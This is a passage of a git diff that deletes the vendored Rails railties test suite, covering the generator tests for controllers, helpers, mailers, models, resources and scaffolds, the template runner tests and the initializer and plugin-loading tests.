-  def assert_attribute_type(name, attribute_type)
-    assert_equal(
-      Rails::Generator::GeneratedAttribute.new('test', name).field_type,
-      attribute_type
-    )
-  end
-end
diff --git a/vendor/rails/railties/test/generators/rails_controller_generator_test.rb b/vendor/rails/railties/test/generators/rails_controller_generator_test.rb
deleted file mode 100644
index 43fbe972..00000000
--- a/vendor/rails/railties/test/generators/rails_controller_generator_test.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-require 'generators/generator_test_helper'
-
-module Admin
-end
-
-class RailsControllerGeneratorTest < GeneratorTestCase
-
-  def test_controller_generates_controller
-    run_generator('controller', %w(products))
-
-    assert_generated_controller_for :products
-    assert_generated_functional_test_for :products
-    assert_generated_helper_for :products
-    assert_generated_helper_test_for :products
-  end
-
-  def test_controller_generates_namespaced_controller
-    run_generator('controller', %w(admin::products))
-
-    assert_generated_controller_for "admin::products"
-    assert_generated_functional_test_for "admin::products"
-    assert_generated_helper_for "admin::products"
-    assert_generated_helper_test_for "admin::products"
-  end
-
-  def test_controller_generates_namespaced_and_not_namespaced_controllers
-    run_generator('controller', %w(products))
-
-    # We have to require the generated helper to show the problem because
-    # the test helpers just check for generated files and contents but
-    # do not actually load them. But they have to be loaded (as in a real environment)
-    # to make the second generator run fail
-    require "#{RAILS_ROOT}/app/helpers/products_helper"
-
-    assert_nothing_raised do
-      begin
-        run_generator('controller', %w(admin::products))
-      ensure
-        # cleanup
-        Object.send(:remove_const, :ProductsHelper)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/test/generators/rails_helper_generator_test.rb b/vendor/rails/railties/test/generators/rails_helper_generator_test.rb
deleted file mode 100644
index ff219689..00000000
--- a/vendor/rails/railties/test/generators/rails_helper_generator_test.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-require File.expand_path('../generator_test_helper', __FILE__)
-
-class RailsHelperGeneratorTest < GeneratorTestCase
-  def test_helper_generates_helper
-    run_generator('helper', %w(products))
-
-    assert_generated_helper_for :products
-    assert_generated_helper_test_for :products
-  end
-
-  def test_helper_generates_namespaced_helper
-    run_generator('helper', %w(admin::products))
-
-    assert_generated_helper_for "admin::products"
-    assert_generated_helper_test_for "admin::products"
-  end
-
-  def test_helper_generates_namespaced_and_not_namespaced_helpers
-    run_generator('helper', %w(products))
-
-    # We have to require the generated helper to show the problem because
-    # the test helpers just check for generated files and contents but
-    # do not actually load them. But they have to be loaded (as in a real environment)
-    # to make the second generator run fail
-    require "#{RAILS_ROOT}/app/helpers/products_helper"
-
-    assert_nothing_raised do
-      begin
-        run_generator('helper', %w(admin::products))
-      ensure
-        # cleanup
-        Object.send(:remove_const, :ProductsHelper)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/test/generators/rails_mailer_generator_test.rb b/vendor/rails/railties/test/generators/rails_mailer_generator_test.rb
deleted file mode 100644
index de61e673..00000000
--- a/vendor/rails/railties/test/generators/rails_mailer_generator_test.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-require 'generators/generator_test_helper'
-
-class RailsMailerGeneratorTest < GeneratorTestCase
-
-  def test_generates_mailer
-    run_generator('mailer', %w(Notifier reset_password))
-
-    assert_generated_model_for :notifier, 'ActionMailer::Base' do |model|
-      assert_has_method model, :reset_password do |name, body|
-        assert_equal [
-            "subject    'Notifier#reset_password'",
-            "recipients ''",
-            "from       ''",
-            "sent_on    sent_at",
-            "",
-            "body       :greeting => 'Hi,'"
-          ],
-          body.split("\n").map{|line| line.sub(' '*4, '') }
-      end
-      
-      assert_no_match /(self.default_url_options =|default_url_options\[.*\] =)/, model,
-        'individual mailer models should not set default_url_options because the options are shared by all mailers'
-    end
-    
-    assert_generated_views_for :notifier, 'reset_password.erb'
-    assert_generated_unit_test_for :notifier, 'ActionMailer::TestCase'
-    assert_generated_file "test/fixtures/notifier/reset_password"
-  end
-end
diff --git a/vendor/rails/railties/test/generators/rails_model_generator_test.rb b/vendor/rails/railties/test/generators/rails_model_generator_test.rb
deleted file mode 100644
index 208b0c49..00000000
--- a/vendor/rails/railties/test/generators/rails_model_generator_test.rb
+++ /dev/null
@@ -1,96 +0,0 @@
-require 'generators/generator_test_helper'
-
-class RailsModelGeneratorTest < GeneratorTestCase
-
-  def test_model_generates_resources
-    run_generator('model', %w(Product name:string))
-
-    assert_generated_model_for :product
-    assert_generated_fixtures_for :products
-    assert_generated_migration :create_products
-  end
-
-  def test_model_skip_migration_skips_migration
-    run_generator('model', %w(Product name:string --skip-migration))
-
-    assert_generated_model_for :product
-    assert_generated_fixtures_for :products
-    assert_skipped_migration :create_products
-  end
-
-  def test_model_with_attributes_generates_resources_with_attributes
-    run_generator('model', %w(Product name:string supplier_id:integer created_at:timestamp))
-
-    assert_generated_model_for :product
-    assert_generated_fixtures_for :products
-    assert_generated_migration :create_products do |t|
-      assert_generated_column t, :name, :string
-      assert_generated_column t, :supplier_id, :integer
-      assert_generated_column t, :created_at, :timestamp
-    end
-  end
-
-  def test_model_with_reference_attributes_generates_belongs_to_associations
-    run_generator('model', %w(Product name:string supplier:references))
-
-    assert_generated_model_for :product do |body|
-      assert body =~ /^\s+belongs_to :supplier/, "#{body.inspect} should contain 'belongs_to :supplier'"
-    end
-  end
-
-  def test_model_with_belongs_to_attributes_generates_belongs_to_associations
-    run_generator('model', %w(Product name:string supplier:belongs_to))
-
-    assert_generated_model_for :product do |body|
-      assert body =~ /^\s+belongs_to :supplier/, "#{body.inspect} should contain 'belongs_to :supplier'"
-    end
-  end
-
-  def test_migration_with_namespace
-    run_generator('model', %w(Gallery::Image))
-    assert_generated_migration :gallery_images
-    assert_skipped_migration :create_images
-  end
-
-  def test_migration_with_nested_namespace
-    run_generator('model', %w(Admin::Gallery::Image))
-    assert_skipped_migration :create_images
-    assert_skipped_migration :create_gallery_images
-
-    assert_generated_migration :admin_gallery_images do |t|
-      assert_generated_table t, :admin_gallery_images
-    end
-  end
-
-  def test_migration_with_nested_namespace_without_pluralization
-    ActiveRecord::Base.pluralize_table_names = false
-    run_generator('model', %w(Admin::Gallery::Image))
-    assert_skipped_migration :create_images
-    assert_skipped_migration :create_gallery_images
-    assert_skipped_migration :create_admin_gallery_images
-    assert_generated_migration :admin_gallery_image do |t|
-      assert_generated_table t, :admin_gallery_image
-    end
-  ensure
-    ActiveRecord::Base.pluralize_table_names = true
-  end
-  
-  def test_migration_with_namespaces_in_model_name_without_plurization
-    ActiveRecord::Base.pluralize_table_names = false
-    run_generator('model', %w(Gallery::Image))
-    assert_generated_migration :create_gallery_image
-    assert_skipped_migration :create_gallery_images
-  ensure
-    ActiveRecord::Base.pluralize_table_names = true
-  end
-
-  def test_migration_without_pluralization
-    ActiveRecord::Base.pluralize_table_names = false
-    run_generator('model', %w(Account))
-    assert_generated_migration :create_account
-    assert_skipped_migration :create_accounts
-  ensure
-    ActiveRecord::Base.pluralize_table_names = true
-  end
-
-end
diff --git a/vendor/rails/railties/test/generators/rails_resource_generator_test.rb b/vendor/rails/railties/test/generators/rails_resource_generator_test.rb
deleted file mode 100644
index 1f5bd0ef..00000000
--- a/vendor/rails/railties/test/generators/rails_resource_generator_test.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-require 'generators/generator_test_helper'
-
-class RailsResourceGeneratorTest < GeneratorTestCase
-  def test_resource_generates_resources
-    run_generator('resource', %w(Product name:string))
-
-    assert_generated_controller_for :products
-    assert_generated_model_for :product
-    assert_generated_fixtures_for :products
-    assert_generated_functional_test_for :products
-    assert_generated_helper_for :products
-    assert_generated_helper_test_for :products
-    assert_generated_migration :create_products
-    assert_added_route_for :products
-  end
-
-  def test_resource_skip_migration_skips_migration
-    run_generator('resource', %w(Product name:string --skip-migration))
-
-    assert_generated_controller_for :products
-    assert_generated_model_for :product
-    assert_generated_fixtures_for :products
-    assert_generated_functional_test_for :products
-    assert_generated_helper_for :products
-    assert_generated_helper_test_for :products
-    assert_skipped_migration :create_products
-    assert_added_route_for :products
-  end
-end
diff --git a/vendor/rails/railties/test/generators/rails_scaffold_generator_test.rb b/vendor/rails/railties/test/generators/rails_scaffold_generator_test.rb
deleted file mode 100644
index 2c60eb07..00000000
--- a/vendor/rails/railties/test/generators/rails_scaffold_generator_test.rb
+++ /dev/null
@@ -1,151 +0,0 @@
-require 'generators/generator_test_helper'
-require 'abstract_unit'
-
-class RailsScaffoldGeneratorTest < GeneratorTestCase
-  def test_scaffolded_names
-    g = Rails::Generator::Base.instance('scaffold', %w(ProductLine))
-    assert_equal "ProductLines", g.controller_name
-    assert_equal "ProductLines", g.controller_class_name
-    assert_equal "ProductLine", g.controller_singular_name
-    assert_equal "product_lines", g.controller_plural_name
-    assert_equal "product_lines", g.controller_file_name
-    assert_equal "product_lines", g.controller_table_name
-  end
-
-  def test_scaffold_generates_resources
-
-    run_generator('scaffold', %w(Product name:string))
-
-    assert_generated_controller_for :products do |f|
-
-      assert_has_method f, :index do |name, m|
-        assert_match /@products = Product\.all/, m, "#{name} should query products table"
-      end
-
-      assert_has_method f, :show, :edit, :update, :destroy do |name, m|
-        assert_match /@product = Product\.find\(params\[:id\]\)/, m, "#{name.to_s} should query products table"
-      end
-
-      assert_has_method f, :new do |name, m|
-        assert_match /@product = Product\.new/, m, "#{name.to_s} should instantiate a product"
-      end
-
-      assert_has_method f, :create do |name, m|
-        assert_match /@product = Product\.new\(params\[:product\]\)/, m, "#{name.to_s} should instantiate a product"
-        assert_match /format.xml  \{ render :xml => @product.errors, :status => :unprocessable_entity \}/, m, "#{name.to_s} should set status to :unprocessable_entity code for xml"
-      end
-
-    end
-
-    assert_generated_model_for :product
-    assert_generated_functional_test_for :products
-    assert_generated_unit_test_for :product
-    assert_generated_fixtures_for :products
-    assert_generated_helper_for :products
-    assert_generated_helper_test_for :products
-    assert_generated_stylesheet :scaffold
-    assert_generated_views_for :products, "index.html.erb", "new.html.erb", "edit.html.erb", "show.html.erb"
-
-    assert_generated_migration :create_products
-    assert_added_route_for :products
-  end
-
-  def test_scaffold_skip_migration_skips_migration
-    run_generator('scaffold', %w(Product name:string --skip-migration))
-
-    assert_generated_model_for :product
-    assert_generated_functional_test_for :products
-    assert_generated_unit_test_for :product
-    assert_generated_fixtures_for :products
-    assert_generated_helper_for :products
-    assert_generated_helper_test_for :products
-    assert_generated_stylesheet :scaffold
-    assert_generated_views_for :products, "index.html.erb","new.html.erb","edit.html.erb","show.html.erb"
-    assert_skipped_migration :create_products
-    assert_added_route_for :products
-  end
-
-  def test_scaffold_generates_resources_with_attributes
-    run_generator('scaffold', %w(Product name:string supplier_id:integer created_at:timestamp))
-
-    assert_generated_controller_for :products do |f|
-
-      assert_has_method f, :index do |name, m|
-        assert_match /@products = Product\.all/, m, "#{name} should query products table"
-      end
-
-      assert_has_method f, :show, :edit, :update, :destroy do |name, m|
-        assert_match /@product = Product\.find\(params\[:id\]\)/, m, "#{name.to_s} should query products table"
-      end
-
-      assert_has_method f, :new do |name, m|
-        assert_match /@product = Product\.new/, m, "#{name.to_s} should instantiate a product"
-      end
-
-      assert_has_method f, :create do |name, m|
-        assert_match /@product = Product\.new\(params\[:product\]\)/, m, "#{name.to_s} should instantiate a product"
-        assert_match /format.xml  \{ render :xml => @product.errors, :status => :unprocessable_entity \}/, m, "#{name.to_s} should set status to :unprocessable_entity code for xml"
-      end
-
-    end
-
-    assert_generated_model_for :product
-    assert_generated_functional_test_for :products
-    assert_generated_unit_test_for :product
-    assert_generated_fixtures_for :products
-    assert_generated_helper_for :products
-    assert_generated_helper_test_for :products
-    assert_generated_stylesheet :scaffold
-    assert_generated_views_for :products, "index.html.erb", "new.html.erb", "edit.html.erb", "show.html.erb"
-
-    assert_generated_migration :create_products do |t|
-      assert_generated_column t, :name, :string
-      assert_generated_column t, :supplier_id, :integer
-      assert_generated_column t, :created_at, :timestamp
-    end
-
-    assert_added_route_for :products
-  end
-
-  def test_scaffolded_plural_names
-    Rails::Generator::Base.logger.expects(:warning)
-    g = Rails::Generator::Base.instance('scaffold', %w(ProductLines))
-    assert_equal "ProductLines", g.controller_name
-    assert_equal "ProductLines", g.controller_class_name
-    assert_equal "ProductLine", g.controller_singular_name
-    assert_equal "product_lines", g.controller_plural_name
-    assert_equal "product_lines", g.controller_file_name
-    assert_equal "product_lines", g.controller_table_name
-    assert_equal "ProductLine", g.class_name
-  end
-
-  def test_scaffold_plural_model_name_without_force_plural_generates_singular_model
-    run_generator('scaffold', %w(Products name:string))
-
-    assert_generated_model_for :product
-    assert_generated_functional_test_for :products
-    assert_generated_unit_test_for :product
-    assert_generated_fixtures_for :products
-    assert_generated_helper_for :products
-    assert_generated_helper_test_for :products
-    assert_generated_stylesheet :scaffold
-    assert_generated_views_for :products, "index.html.erb","new.html.erb","edit.html.erb","show.html.erb"
-    assert_skipped_migration :create_products
-    assert_added_route_for :products
-  end
-
-  def test_scaffold_plural_model_name_with_force_plural_forces_plural_model
-    run_generator('scaffold', %w(Products name:string --force-plural))
-
-    assert_generated_model_for :products
-    assert_generated_functional_test_for :products
-    assert_generated_unit_test_for :products
-    assert_generated_fixtures_for :products
-    assert_generated_helper_for :products
-    assert_generated_helper_test_for :products
-    assert_generated_stylesheet :scaffold
-    assert_generated_views_for :products, "index.html.erb","new.html.erb","edit.html.erb","show.html.erb"
-    assert_skipped_migration :create_products
-    assert_added_route_for :products
-  end
-end
diff --git a/vendor/rails/railties/test/generators/rails_template_runner_test.rb b/vendor/rails/railties/test/generators/rails_template_runner_test.rb
deleted file mode 100644
index 38293128..00000000
--- a/vendor/rails/railties/test/generators/rails_template_runner_test.rb
+++ /dev/null
@@ -1,216 +0,0 @@
-require 'abstract_unit'
-require 'generators/generator_test_helper'
-
-class RailsTemplateRunnerTest < GeneratorTestCase
-  def setup
-    Rails::Generator::Base.use_application_sources!
-    run_generator('app', [RAILS_ROOT])
-    # generate empty template
-    @template_path = File.join(RAILS_ROOT, 'template.rb')
-    File.open(File.join(@template_path), 'w') {|f| f << '' }
-
-    @git_plugin_uri = 'git://github.com/technoweenie/restful-authentication.git'
-    @svn_plugin_uri = 'svn://svnhub.com/technoweenie/restful-authentication/trunk'
-  end
-
-  def teardown
-    super
-    rm_rf "#{RAILS_ROOT}/README"
-    rm_rf "#{RAILS_ROOT}/Rakefile"
-    rm_rf "#{RAILS_ROOT}/doc"
-    rm_rf "#{RAILS_ROOT}/lib"
-    rm_rf "#{RAILS_ROOT}/log"
-    rm_rf "#{RAILS_ROOT}/script"
-    rm_rf "#{RAILS_ROOT}/vendor"
-    rm_rf "#{RAILS_ROOT}/tmp"
-    rm_rf "#{RAILS_ROOT}/Capfile"
-    rm_rf @template_path
-  end
-
-  def test_initialize_should_load_template
-    Rails::TemplateRunner.any_instance.expects(:load_template).with(@template_path)
-    silence_generator do
-      Rails::TemplateRunner.new(@template_path, RAILS_ROOT)
-    end
-  end
-
-  def test_initialize_should_raise_error_on_missing_template_file
-    assert_raise(RuntimeError) do
-      silence_generator do
-        Rails::TemplateRunner.new('non/existent/path/to/template.rb', RAILS_ROOT)
-      end
-    end
-  end
-
-  def test_file_should_write_data_to_file_path
-    run_template_method(:file, 'lib/test_file.rb', 'heres test data')
-    assert_generated_file_with_data 'lib/test_file.rb', 'heres test data'
-  end
-
-  def test_file_should_write_block_contents_to_file_path
-    run_template_method(:file, 'lib/test_file.rb') { 'heres block data' }
-    assert_generated_file_with_data 'lib/test_file.rb', 'heres block data'
-  end
-
-  def test_plugin_with_git_option_should_run_plugin_install
-    expects_run_ruby_script_with_command("script/plugin install #{@git_plugin_uri}")
-    run_template_method(:plugin, 'restful-authentication', :git => @git_plugin_uri)
-  end
-
-  def test_plugin_with_svn_option_should_run_plugin_install
-    expects_run_ruby_script_with_command("script/plugin install #{@svn_plugin_uri}")
-    run_template_method(:plugin, 'restful-authentication', :svn => @svn_plugin_uri)
-  end
-
-  def test_plugin_with_git_option_and_submodule_should_use_git_scm
-    Rails::Git.expects(:run).with("submodule add #{@git_plugin_uri} vendor/plugins/rest_auth")
-    run_template_method(:plugin, 'rest_auth', :git => @git_plugin_uri, :submodule => true)
-  end
-
-  def test_plugin_with_no_options_should_skip_method
-    Rails::TemplateRunner.any_instance.expects(:run).never
-    run_template_method(:plugin, 'rest_auth', {})
-  end
-
-  def test_gem_should_put_gem_dependency_in_enviroment
-    run_template_method(:gem, 'will-paginate')
-    assert_rails_initializer_includes("config.gem 'will-paginate'")
-  end
-
-  def test_gem_with_options_should_include_options_in_gem_dependency_in_environment
-    run_template_method(:gem, 'mislav-will-paginate', :lib => 'will-paginate', :source => 'http://gems.github.com')
-    assert_rails_initializer_includes("config.gem 'mislav-will-paginate', :lib => 'will-paginate', :source => 'http://gems.github.com'")
-  end
-
-  def test_gem_with_env_string_should_put_gem_dependency_in_specified_environment
-    run_template_method(:gem, 'rspec', :env => 'test')
-    assert_generated_file_with_data('config/environments/test.rb', "config.gem 'rspec'", 'test')
-  end
-
-  def test_gem_with_env_array_should_put_gem_dependency_in_specified_environments
-    run_template_method(:gem, 'quietbacktrace', :env => %w[ development test ])
-    assert_generated_file_with_data('config/environments/development.rb', "config.gem 'quietbacktrace'")
-    assert_generated_file_with_data('config/environments/test.rb', "config.gem 'quietbacktrace'")
-  end
-
-  def test_gem_with_lib_option_set_to_false_should_put_gem_dependency_in_enviroment_correctly
-    run_template_method(:gem, 'mislav-will-paginate', :lib => false, :source => 'http://gems.github.com')
-    assert_rails_initializer_includes("config.gem 'mislav-will-paginate', :lib => false, :source => 'http://gems.github.com'")
-  end
-
-  def test_environment_should_include_data_in_environment_initializer_block
-    autoload_paths = 'config.autoload_paths += %w["#{RAILS_ROOT}/app/extras"]'
-    run_template_method(:environment, autoload_paths)
-    assert_rails_initializer_includes(autoload_paths)
-  end
-
-  def test_environment_with_block_should_include_block_contents_in_environment_initializer_block
-    run_template_method(:environment) do
-      '# This wont be added'
-      '# This will be added'
-    end
-    assert_rails_initializer_includes('# This will be added')
-  end
-
-  def test_git_with_symbol_should_run_command_using_git_scm
-    Rails::Git.expects(:run).once.with('init')
-    run_template_method(:git, :init)
-  end
-
-  def test_git_with_hash_should_run_each_command_using_git_scm
-    Rails::Git.expects(:run).times(2)
-    run_template_method(:git, {:init => '', :add => '.'})
-  end
-
-  def test_vendor_should_write_data_to_file_in_vendor
-    run_template_method(:vendor, 'vendor_file.rb', '# vendor data')
-    assert_generated_file_with_data('vendor/vendor_file.rb', '# vendor data')
-  end
-
-  def test_lib_should_write_data_to_file_in_lib
-    run_template_method(:lib, 'my_library.rb', 'class MyLibrary')
-    assert_generated_file_with_data('lib/my_library.rb', 'class MyLibrary')
-  end
-
-  def test_rakefile_should_write_date_to_file_in_lib_tasks
-    run_template_method(:rakefile, 'myapp.rake', 'task :run => [:environment]')
-    assert_generated_file_with_data('lib/tasks/myapp.rake', 'task :run => [:environment]')
-  end
-
-  def test_initializer_should_write_date_to_file_in_config_initializers
-    run_template_method(:initializer, 'constants.rb', 'MY_CONSTANT = 42')
-    assert_generated_file_with_data('config/initializers/constants.rb', 'MY_CONSTANT = 42')
-  end
-
-  def test_generate_should_run_script_generate_with_argument_and_options
-    expects_run_ruby_script_with_command('script/generate model MyModel')
-    run_template_method(:generate, 'model', 'MyModel')
-  end
-
-  def test_rake_should_run_rake_command_with_development_env
-    expects_run_with_command('rake log:clear RAILS_ENV=development')
-    run_template_method(:rake, 'log:clear')
-  end
-
-  def test_rake_with_env_option_should_run_rake_command_in_env
-    expects_run_with_command('rake log:clear RAILS_ENV=production')
-    run_template_method(:rake, 'log:clear', :env => 'production')
-  end
-
-  def test_rake_with_sudo_option_should_run_rake_command_with_sudo
-    expects_run_with_command('sudo rake log:clear RAILS_ENV=development')
-    run_template_method(:rake, 'log:clear', :sudo => true)
-  end
-
-  def test_capify_should_run_the_capify_command
-    expects_run_with_command('capify .')
-    run_template_method(:capify!)
-  end
-
-  def test_freeze_should_freeze_rails_edge
-    expects_run_with_command('rake rails:freeze:edge')
-    run_template_method(:freeze!)
-  end
-
-  def test_route_should_add_data_to_the_routes_block_in_config_routes
-    route_command = "map.route '/login', :controller => 'sessions', :action => 'new'"
-    run_template_method(:route, route_command)
-    assert_generated_file_with_data 'config/routes.rb', route_command
-  end
-
-  def test_run_ruby_script_should_add_ruby_to_command_in_win32_environment
-    ruby_command = RUBY_PLATFORM =~ /win32/ ? 'ruby ' : ''
-    expects_run_with_command("#{ruby_command}script/generate model MyModel")
-    run_template_method(:generate, 'model', 'MyModel')
-  end
-
-  protected
-  def run_template_method(method_name, *args, &block)
-    silence_generator do
-      @template_runner = Rails::TemplateRunner.new(@template_path, RAILS_ROOT)
-      @template_runner.send(method_name, *args, &block)
-    end
-  end
-
-  def expects_run_with_command(command)
-    Rails::TemplateRunner.any_instance.stubs(:run).once.with(command, false)
-  end
-
-  def expects_run_ruby_script_with_command(command)
-    Rails::TemplateRunner.any_instance.stubs(:run_ruby_script).once.with(command,false)
-  end
-
-  def assert_rails_initializer_includes(data, message = nil)
-    message ||= "Rails::Initializer should include #{data}"
-    assert_generated_file 'config/environment.rb' do |body|
-      assert_match(/#{Regexp.escape("Rails::Initializer.run do |config|")}.+#{Regexp.escape(data)}.+end/m, body, message)
-    end
-  end
-
-  def assert_generated_file_with_data(file, data, message = nil)
-    message ||= "#{file} should include '#{data}'"
-    assert_generated_file(file) do |file|
-      assert_match(/#{Regexp.escape(data)}/,file, message)
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/test/initializer_test.rb b/vendor/rails/railties/test/initializer_test.rb
deleted file mode 100644
index 99fd7e85..00000000
--- a/vendor/rails/railties/test/initializer_test.rb
+++ /dev/null
@@ -1,438 +0,0 @@
-require 'abstract_unit'
-require 'initializer'
-
-require 'action_view'
-require 'action_mailer'
-require 'active_record'
-require 'stringio'
-
-# Mocks out the configuration
-module Rails
-  def self.configuration
-    Rails::Configuration.new
-  end
-end
-
-class ConfigurationMock < Rails::Configuration
-  attr_reader :environment_path
-
-  def initialize(envpath)
-    super()
-    @environment_path = envpath
-  end
-end
-
-class Initializer_load_environment_Test < Test::Unit::TestCase
-  def test_load_environment_with_constant
-    config = ConfigurationMock.new("#{File.dirname(__FILE__)}/fixtures/environment_with_constant.rb")
-    assert_nil $initialize_test_set_from_env
-    Rails::Initializer.run(:load_environment, config)
-    assert_equal "success", $initialize_test_set_from_env
-  ensure
-    $initialize_test_set_from_env = nil
-  end
-end
-
-class Initializer_eager_loading_Test < Test::Unit::TestCase
-  def setup
-    @config = ConfigurationMock.new("")
-    @config.cache_classes = true
-    @config.autoload_paths = [File.expand_path(File.dirname(__FILE__) + "/fixtures/eager")]
-    @config.eager_load_paths = [File.expand_path(File.dirname(__FILE__) + "/fixtures/eager")]
-    @initializer = Rails::Initializer.new(@config)
-    @initializer.set_load_path
-    @initializer.set_autoload_paths
-  end
-
-  def test_eager_loading_loads_parent_classes_before_children
-    assert_nothing_raised do
-      @initializer.load_application_classes
-    end
-  end
-end
-
-class DeprecatedPathsInConfiguration < ActiveSupport::TestCase
-  def test_paths_deprecations
-    config = Rails::Configuration.new
-    match_in_stderr(/use autoload_paths(?!=)/) { config.load_paths }
-    match_in_stderr(/use autoload_paths=/) { config.load_paths = [] }
-    match_in_stderr(/use autoload_once_paths(?!=)/) { config.load_once_paths }
-    match_in_stderr(/use autoload_once_paths=/) { config.load_once_paths = [] }
-  end
-
-  # The initializer prints to $stderr because neither AS nor logger are available
-  # at that point.
-  def match_in_stderr(regexp)
-    $stderr = StringIO.new
-    yield
-    $stderr.rewind
-    assert_match regexp, $stderr.read
-  ensure
-    $stderr = STDERR
-  end
-end
-
-class Initializer_after_initialize_with_blocks_environment_Test < Test::Unit::TestCase
-  def setup
-    config = ConfigurationMock.new("")
-    config.after_initialize do
-      $test_after_initialize_block1 = "success"
-    end
-    config.after_initialize do
-      $test_after_initialize_block2 = "congratulations"
-    end
-    assert_nil $test_after_initialize_block1
-    assert_nil $test_after_initialize_block2
-
-    Rails::Initializer.any_instance.expects(:gems_dependencies_loaded).returns(true)
-    Rails::Initializer.run(:after_initialize, config)
-  end
-
-  def teardown
-    $test_after_initialize_block1 = nil
-    $test_after_initialize_block2 = nil
-  end
-
-  def test_should_have_called_the_first_after_initialize_block
-    assert_equal "success", $test_after_initialize_block1
-  end
-
-  def test_should_have_called_the_second_after_initialize_block
-    assert_equal "congratulations", $test_after_initialize_block2
-  end
-end
-
-class Initializer_after_initialize_with_no_block_environment_Test < Test::Unit::TestCase
-  def setup
-    config = ConfigurationMock.new("")
-    config.after_initialize do
-      $test_after_initialize_block1 = "success"
-    end
-    config.after_initialize # don't pass a block, this is what we're testing!
-    config.after_initialize do
-      $test_after_initialize_block2 = "congratulations"
-    end
-    assert_nil $test_after_initialize_block1
-
-    Rails::Initializer.any_instance.expects(:gems_dependencies_loaded).returns(true)
-    Rails::Initializer.run(:after_initialize, config)
-  end
-
-  def teardown
-    $test_after_initialize_block1 = nil
-    $test_after_initialize_block2 = nil
-  end
-
-  def test_should_have_called_the_first_after_initialize_block
-    assert_equal "success", $test_after_initialize_block1, "should still get set"
-  end
-
-  def test_should_have_called_the_second_after_initialize_block
-    assert_equal "congratulations", $test_after_initialize_block2
-  end
-end
-
-class ConfigurationFrameworkPathsTests < Test::Unit::TestCase
-  def setup
-    @config = Rails::Configuration.new
-    @config.frameworks.clear
-
-    File.stubs(:directory?).returns(true)
-    @config.stubs(:framework_root_path).returns('')
-  end
-
-  def test_minimal
-    expected = %w(
-      /railties
-      /railties/lib
-      /activesupport/lib
-    )
-    assert_equal expected, @config.framework_paths
-  end
-
-  def test_actioncontroller_or_actionview_add_actionpack
-    @config.frameworks << :action_controller
-    assert_framework_path '/actionpack/lib'
-
-    @config.frameworks = [:action_view]
-    assert_framework_path '/actionpack/lib'
-  end
-
-  def test_paths_for_ar_ares_and_mailer
-    [:active_record, :action_mailer, :active_resource, :action_web_service].each do |framework|
-      @config.frameworks = [framework]
-      assert_framework_path "/#{framework.to_s.gsub('_', '')}/lib"
-    end
-  end
-
-  def test_unknown_framework_raises_error
-    @config.frameworks << :action_foo
-    initializer = Rails::Initializer.new @config
-    initializer.expects(:require).raises(LoadError)
-
-    assert_raise RuntimeError do
-      initializer.send :require_frameworks
-    end
-  end
-
-  def test_action_mailer_load_paths_set_only_if_action_mailer_in_use
-    @config.frameworks = [:action_controller]
-    initializer = Rails::Initializer.new @config
-    initializer.send :require_frameworks
-
-    assert_nothing_raised NameError do
-      initializer.send :load_view_paths
-    end
-  end
-
-  def test_action_controller_load_paths_set_only_if_action_controller_in_use
-    @config.frameworks = []
-    initializer = Rails::Initializer.new @config
-    initializer.send :require_frameworks
-
-    assert_nothing_raised NameError do
-      initializer.send :load_view_paths
-    end
-  end
-
-  protected
-    def assert_framework_path(path)
-      assert @config.framework_paths.include?(path),
-        "<#{path.inspect}> not found among <#{@config.framework_paths.inspect}>"
-    end
-end
-
-require 'plugin_test_helper'
-
-class InitializerPluginLoadingTests < Test::Unit::TestCase
-  def setup
-    @configuration     = Rails::Configuration.new
-    @configuration.frameworks -= [:action_mailer]
-    @configuration.plugin_paths << plugin_fixture_root_path
-    @initializer       = Rails::Initializer.new(@configuration)
-    @valid_plugin_path = plugin_fixture_path('default/stubby')
-    @empty_plugin_path = plugin_fixture_path('default/empty')
-  end
-
-  def test_no_plugins_are_loaded_if_the_configuration_has_an_empty_plugin_list
-    only_load_the_following_plugins! []
-    @initializer.load_plugins
-    assert_equal [], @initializer.loaded_plugins
-  end
-
-  def test_only_the_specified_plugins_are_located_in_the_order_listed
-    plugin_names = [:plugin_with_no_lib_dir, :acts_as_chunky_bacon]
-    only_load_the_following_plugins! plugin_names
-    load_plugins!
-    assert_plugins plugin_names, @initializer.loaded_plugins
-  end
-
-  def test_all_plugins_are_loaded_when_registered_plugin_list_is_untouched
-    failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
-    load_plugins!
-    assert_plugins [:a, :acts_as_chunky_bacon, :engine, :gemlike, :plugin_with_no_lib_dir, :stubby], @initializer.loaded_plugins, failure_tip
-  end
-
-  def test_all_plugins_loaded_when_all_is_used
-    plugin_names = [:stubby, :acts_as_chunky_bacon, :all]
-    only_load_the_following_plugins! plugin_names
-    load_plugins!
-    failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
-    assert_plugins [:stubby, :acts_as_chunky_bacon, :a, :engine, :gemlike, :plugin_with_no_lib_dir], @initializer.loaded_plugins, failure_tip
-  end
-
-  def test_all_plugins_loaded_after_all
-    plugin_names = [:stubby, :all, :acts_as_chunky_bacon]
-    only_load_the_following_plugins! plugin_names
-    load_plugins!
-    failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
-    assert_plugins [:stubby, :a, :engine, :gemlike, :plugin_with_no_lib_dir, :acts_as_chunky_bacon], @initializer.loaded_plugins, failure_tip
-  end
-
-  def test_plugin_names_may_be_strings
-    plugin_names = ['stubby', 'acts_as_chunky_bacon', :a, :plugin_with_no_lib_dir]
-    only_load_the_following_plugins! plugin_names
-    load_plugins!
-    failure_tip = "It's likely someone has added a new plugin fixture without updating this list"
-    assert_plugins plugin_names, @initializer.loaded_plugins, failure_tip
-  end
-
-  def test_registering_a_plugin_name_that_does_not_exist_raises_a_load_error
-    only_load_the_following_plugins! [:stubby, :acts_as_a_non_existant_plugin]
-    assert_raise(LoadError) do
-      load_plugins!
-    end
-  end
-
-  def test_load_error_messages_mention_missing_plugins_and_no_others
-    valid_plugin_names = [:stubby, :acts_as_chunky_bacon]
-    invalid_plugin_names = [:non_existant_plugin1, :non_existant_plugin2]
-    only_load_the_following_plugins!( valid_plugin_names + invalid_plugin_names )
-    begin
-      load_plugins!
-      flunk "Expected a LoadError but did not get one"
-    rescue LoadError => e
-      failure_tip = "It's likely someone renamed or deleted plugin fixtures without updating this test"
